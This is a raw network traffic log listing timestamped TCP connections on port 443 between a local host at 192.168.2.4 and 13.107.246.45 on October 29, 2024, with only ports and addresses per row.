Oct 29, 2024 20:38:35.482103109 CET	443	49974	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:35.482173920 CET	49974	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:35.482331038 CET	49974	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:35.482345104 CET	443	49974	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:35.486059904 CET	443	49970	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:35.486490011 CET	49970	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:35.486511946 CET	443	49970	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:35.487380981 CET	49970	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:35.487387896 CET	443	49970	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:35.617625952 CET	443	49970	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:35.617758036 CET	443	49970	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:35.617819071 CET	49970	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:35.618067026 CET	49970	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:35.618091106 CET	443	49970	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:35.618108034 CET	49970	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:35.618117094 CET	443	49970	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:35.621289015 CET	49975	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:35.621328115 CET	443	49975	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:35.621469975 CET	49975	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:35.621633053 CET	49975	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:35.621639967 CET	443	49975	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:35.752625942 CET	49968	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:35.752676964 CET	443	49968	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:35.783876896 CET	49969	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:35.783927917 CET	443	49969	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:35.899173975 CET	443	49971	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:35.901907921 CET	49971	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:35.901945114 CET	443	49971	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:35.902403116 CET	49971	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:35.902410030 CET	443	49971	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:36.028098106 CET	443	49971	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:36.028213024 CET	443	49971	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:36.028331995 CET	49971	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:36.028354883 CET	443	49971	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:36.028517962 CET	49971	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:36.028590918 CET	49971	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:36.028590918 CET	49971	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:36.028641939 CET	443	49971	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:36.028683901 CET	443	49971	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:36.031503916 CET	49976	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:36.031550884 CET	443	49976	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:36.032423973 CET	49976	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:36.032551050 CET	49976	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:36.032571077 CET	443	49976	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:36.046905994 CET	443	49972	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:36.048751116 CET	49972	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:36.048773050 CET	443	49972	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:36.049319029 CET	49972	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:36.049324989 CET	443	49972	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:36.186413050 CET	443	49973	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:36.187710047 CET	443	49972	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:36.188661098 CET	443	49972	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:36.190295935 CET	49972	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:36.200318098 CET	49973	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:36.200333118 CET	443	49973	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:36.200846910 CET	49973	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:36.200853109 CET	443	49973	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:36.201119900 CET	49972	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:36.201143026 CET	443	49972	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:36.201158047 CET	49972	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:36.201164961 CET	443	49972	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:36.204222918 CET	49977	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:36.204263926 CET	443	49977	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:36.204339027 CET	49977	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:36.204456091 CET	49977	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:36.204463959 CET	443	49977	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:36.230885983 CET	443	49974	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:36.232902050 CET	49974	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:36.232928038 CET	443	49974	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:36.233477116 CET	49974	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:36.233483076 CET	443	49974	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:36.327215910 CET	443	49973	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:36.328645945 CET	443	49973	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:36.328696966 CET	443	49973	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:36.328722954 CET	49973	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:36.328762054 CET	49973	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:36.328838110 CET	49973	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:36.328839064 CET	49973	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:36.328857899 CET	443	49973	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:36.328866959 CET	443	49973	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:36.332103014 CET	49978	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:36.332137108 CET	443	49978	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:36.332282066 CET	49978	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:36.332496881 CET	49978	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:36.332511902 CET	443	49978	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:36.356782913 CET	443	49975	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:36.357266903 CET	49975	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:36.357281923 CET	443	49975	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:36.357779980 CET	49975	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:36.357784986 CET	443	49975	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:36.365802050 CET	443	49974	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:36.365874052 CET	443	49974	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:36.365921021 CET	49974	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:36.366060019 CET	49974	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:36.366080999 CET	443	49974	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:36.366095066 CET	49974	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:36.366101027 CET	443	49974	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:36.369522095 CET	49979	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:36.369579077 CET	443	49979	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:36.369680882 CET	49979	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:36.369960070 CET	49979	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:36.369982958 CET	443	49979	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:36.484772921 CET	443	49975	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:36.484827042 CET	443	49975	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:36.484884977 CET	443	49975	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:36.484997988 CET	49975	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:36.484997988 CET	49975	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:36.485224009 CET	49975	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:36.485224009 CET	49975	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:36.485249043 CET	443	49975	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:36.485258102 CET	443	49975	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:36.488666058 CET	49980	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:36.488713026 CET	443	49980	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:36.488811016 CET	49980	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:36.488951921 CET	49980	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:36.488965988 CET	443	49980	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:36.774827003 CET	443	49976	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:36.775691986 CET	49976	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:36.775707960 CET	443	49976	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:36.776103020 CET	49976	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:36.776108980 CET	443	49976	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:36.910137892 CET	443	49976	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:36.910271883 CET	443	49976	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:36.910444021 CET	49976	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:36.910557985 CET	49976	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:36.910583019 CET	443	49976	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:36.910603046 CET	49976	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:36.910610914 CET	443	49976	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:36.914129019 CET	49981	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:36.914194107 CET	443	49981	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:36.914285898 CET	49981	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:36.914486885 CET	49981	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:36.914509058 CET	443	49981	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:36.951957941 CET	443	49977	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:36.952497959 CET	49977	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:36.952517986 CET	443	49977	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:36.952996969 CET	49977	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:36.953005075 CET	443	49977	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:37.082075119 CET	443	49978	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:37.083276987 CET	49978	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:37.083276987 CET	49978	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:37.083306074 CET	443	49978	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:37.083334923 CET	443	49978	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:37.085072994 CET	443	49977	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:37.085155964 CET	443	49977	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:37.085407972 CET	49977	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:37.085407972 CET	49977	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:37.086090088 CET	49977	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:37.086111069 CET	443	49977	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:37.088476896 CET	49982	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:37.088546038 CET	443	49982	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:37.088624954 CET	49982	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:37.088783979 CET	49982	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:37.088793993 CET	443	49982	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:37.211963892 CET	443	49980	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:37.212836027 CET	49980	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:37.212868929 CET	443	49980	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:37.213418961 CET	49980	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:37.213426113 CET	443	49980	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:37.214279890 CET	443	49978	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:37.217562914 CET	443	49978	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:37.217655897 CET	49978	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:37.217655897 CET	49978	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:37.217773914 CET	49978	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:37.217793941 CET	443	49978	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:37.220664978 CET	49983	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:37.220716953 CET	443	49983	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:37.220804930 CET	49983	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:37.220932961 CET	49983	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:37.220947981 CET	443	49983	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:37.341624975 CET	443	49980	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:37.341710091 CET	443	49980	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:37.341809988 CET	49980	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:37.342187881 CET	49980	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:37.342187881 CET	49980	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:37.342215061 CET	443	49980	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:37.342226982 CET	443	49980	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:37.345556021 CET	49984	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:37.345606089 CET	443	49984	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:37.345694065 CET	49984	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:37.345874071 CET	49984	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:37.345889091 CET	443	49984	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:37.658518076 CET	443	49981	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:37.659193039 CET	49981	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:37.659228086 CET	443	49981	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:37.659774065 CET	49981	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:37.659780979 CET	443	49981	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:37.790030003 CET	443	49981	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:37.791254997 CET	443	49981	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:37.791340113 CET	49981	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:37.791388035 CET	49981	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:37.791400909 CET	443	49981	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:37.791413069 CET	49981	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:37.791419983 CET	443	49981	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:37.794363976 CET	49985	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:37.794408083 CET	443	49985	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:37.794476986 CET	49985	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:37.794651985 CET	49985	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:37.794660091 CET	443	49985	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:37.816751003 CET	443	49982	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:37.817281008 CET	49982	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:37.817291021 CET	443	49982	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:37.817650080 CET	49982	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:37.817655087 CET	443	49982	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:37.893353939 CET	443	49979	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:37.894304037 CET	49979	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:37.894329071 CET	443	49979	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:37.896177053 CET	49979	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:37.896184921 CET	443	49979	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:37.947966099 CET	443	49982	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:37.948045015 CET	443	49982	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:37.948477983 CET	49982	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:37.948477983 CET	49982	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:37.948477983 CET	49982	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:37.951594114 CET	49986	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:37.951648951 CET	443	49986	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:37.951719999 CET	49986	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:37.951860905 CET	49986	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:37.951877117 CET	443	49986	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:37.958487988 CET	443	49983	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:37.958919048 CET	49983	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:37.958945990 CET	443	49983	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:37.959389925 CET	49983	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:37.959402084 CET	443	49983	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:38.049123049 CET	443	49979	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:38.049159050 CET	443	49979	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:38.049220085 CET	443	49979	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:38.049643040 CET	49979	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:38.049643040 CET	49979	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:38.049871922 CET	49979	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:38.049899101 CET	443	49979	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:38.052805901 CET	49987	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:38.052843094 CET	443	49987	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:38.052928925 CET	49987	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:38.053100109 CET	49987	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:38.053109884 CET	443	49987	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:38.082062960 CET	443	49984	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:38.082596064 CET	49984	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:38.082634926 CET	443	49984	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:38.083077908 CET	49984	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:38.083086014 CET	443	49984	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:38.091017008 CET	443	49983	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:38.091092110 CET	443	49983	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:38.091260910 CET	49983	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:38.091320992 CET	49983	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:38.091341972 CET	443	49983	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:38.091358900 CET	49983	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:38.091367006 CET	443	49983	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:38.098089933 CET	49988	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:38.098130941 CET	443	49988	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:38.098948956 CET	49988	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:38.098948956 CET	49988	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:38.098983049 CET	443	49988	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:38.252046108 CET	443	49984	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:38.252135992 CET	443	49984	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:38.252218962 CET	49984	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:38.252628088 CET	49982	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:38.252657890 CET	443	49982	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:38.253168106 CET	49984	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:38.253185034 CET	443	49984	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:38.253201962 CET	49984	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:38.253209114 CET	443	49984	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:38.264934063 CET	49989	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:38.264970064 CET	443	49989	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:38.265048981 CET	49989	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:38.265201092 CET	49989	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:38.265217066 CET	443	49989	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:38.625298977 CET	443	49985	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:38.625910997 CET	49985	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:38.625927925 CET	443	49985	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:38.626513958 CET	49985	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:38.626521111 CET	443	49985	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:38.693268061 CET	443	49986	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:38.693999052 CET	49986	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:38.694017887 CET	443	49986	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:38.694410086 CET	49986	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:38.694416046 CET	443	49986	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:38.757811069 CET	443	49985	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:38.757915020 CET	443	49985	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:38.758191109 CET	49985	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:38.758373976 CET	49985	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:38.758393049 CET	443	49985	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:38.758416891 CET	49985	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:38.758423090 CET	443	49985	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:38.763356924 CET	49990	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:38.763408899 CET	443	49990	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:38.763495922 CET	49990	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:38.763668060 CET	49990	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:38.763683081 CET	443	49990	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:38.783287048 CET	443	49987	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:38.784044027 CET	49987	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:38.784060001 CET	443	49987	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:38.784476995 CET	49987	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:38.784482002 CET	443	49987	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:38.822758913 CET	443	49988	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:38.823390961 CET	49988	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:38.823424101 CET	443	49988	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:38.823956966 CET	49988	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:38.823964119 CET	443	49988	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:38.824331045 CET	443	49986	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:38.824805021 CET	443	49986	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:38.824898958 CET	49986	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:38.824968100 CET	49986	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:38.824987888 CET	443	49986	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:38.825000048 CET	49986	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:38.825006008 CET	443	49986	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:38.827790022 CET	49991	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:38.827826977 CET	443	49991	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:38.827909946 CET	49991	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:38.828053951 CET	49991	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:38.828066111 CET	443	49991	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:38.914520979 CET	443	49987	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:38.914627075 CET	443	49987	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:38.914707899 CET	49987	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:38.914722919 CET	443	49987	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:38.914757967 CET	443	49987	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:38.915013075 CET	49987	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:38.915029049 CET	443	49987	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:38.915060043 CET	49987	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:38.915066004 CET	443	49987	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:38.915096998 CET	49987	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:38.915100098 CET	443	49987	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:38.918519020 CET	49992	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:38.918562889 CET	443	49992	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:38.918699026 CET	49992	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:38.918952942 CET	49992	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:38.918976068 CET	443	49992	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:38.952202082 CET	443	49988	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:38.952279091 CET	443	49988	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:38.952630043 CET	49988	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:38.954945087 CET	49988	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:38.954945087 CET	49988	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:38.954969883 CET	443	49988	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:38.954979897 CET	443	49988	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:38.959003925 CET	49993	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:38.959043980 CET	443	49993	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:38.959120989 CET	49993	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:38.959276915 CET	49993	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:38.959285975 CET	443	49993	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:39.236682892 CET	443	49989	13.107.246.45	192.168.2.4
